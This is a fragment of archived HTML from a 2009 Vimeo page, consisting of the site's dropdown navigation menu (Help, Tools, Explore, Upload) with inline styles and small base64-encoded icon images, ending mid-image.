<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search People</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Groups</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Channels</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Search Forums</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:9em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1em;margin: 0px; padding: 16px 18px 21px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Help</a>
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help/basics" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Vimeo Basics</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Help</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Forums</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:7.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1.5em;margin: 0px; padding: 16px 18px 21px; ">
<a href="#" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Tools</a>
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; ">
For me: <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/subscriptions/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Subscription Manager</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/invite_new_user" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Invite Your Friends</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/import" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Import Contacts</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Make Widgets</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:16.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:2.7em;margin: 0px; padding: 16px 18px 21px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/explore" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Explore</a>
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Groups</a>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Channels</a>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/hd" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">HD Videos</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/staffpicks" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Staff Picks</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:Projects" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Projects</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/Toys" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Toys</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:6em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload/video" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Upload</a>
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:13.4em;margin: 0px; padding: 0px 18px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload" target="_blank" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">
You have <span style="color:rgb(247, 83, 66);margin: 0px; padding: 0px; "><strong style="margin: 0px; padding: 0px; ">500MB</strong></span>
free for uploading this week. <img alt="Upload Your Video" src="data:image/gif;base64,R0lGODlhlgAeAMQAABUjJoO521GdzDaIu/P4/MHc7Slgf5zH4mqr1B4+Tdrq9KjO5jSBsUSWyM3j8BkxOv///12k0LXV6Xay1+bx+I/A3itnijiPxSBEVytmiRs3Qy1tkylggAAAAAAAAAAAACH5BAAHAP8ALAAAAACWAB4AAAX/IAA81nCdaKqubOu+cCzPdJ1uiSgmpu3/wKBwiOKIHj2icslszjCAjHNKrSoZgKR1y+2yNN6wmJsYm8/LMnrNrqnb8K2AAqnXD7F3fO882P95NAgQDiiDhS5+eEF1SoorjVRzf5EvejCHhoQvj4wQSgEOAZCfXXaBM5knmQ0IEQ0VFQ0nnQ0BBwGzJ7YHFQIoAr0NlSkTBwcRKwgIKBEIDQIIvxfBspURvdMn2Mg2ERKjF6cwly+qF5mDCgR1CrOPEex1BMkNCn+/8e3EJxJ/4SjuTaMTDAIefRDulapghwCzC/7sSKihMNk4S4I2rdo0CMKEBg4gVLjw6N5Ihgou/0wggKeAwQsuF1xYwG9OIYaIUASAIHMChAIkX8ac2UgABAoNIhxVmVCAgHsTaLiEkIwOBVQyzqVLeMJnIUVKU564l+xChAr38NSZNayUCgEBXObcReCqv6iP1l5oe4GhhGVkXUZlCvQFrF8NDgwOps1FORdaOWrMpOhcSFd0jr6sxA9kHTpz+1GtS2uz20Z+KCG4vDH0ipAQGruhYZSArp1AB129gDvogdooCLrE84jdL6NuTzAs0EpjCqUhFxWPTa3RTpnoRI/kDWHii8xlfTx2cY/CgQXsRnWUMIHOqEchCyBwCdQlezp4/DlYzQ8lf9cXKDTNI/rx94kABBBgjKVkBAQQADvhqVDWaov8MF4LEShUB3bqKOTdI57VwRw68viRkj13dJaZBHTokkJvpeGBokGRPPhZWTZCoGAL/rhDxIUuRPOMJoVIE6SRKLTioiGyqYAkEE+msIwyD7VgR5VBAJkRgHx04Yd3Q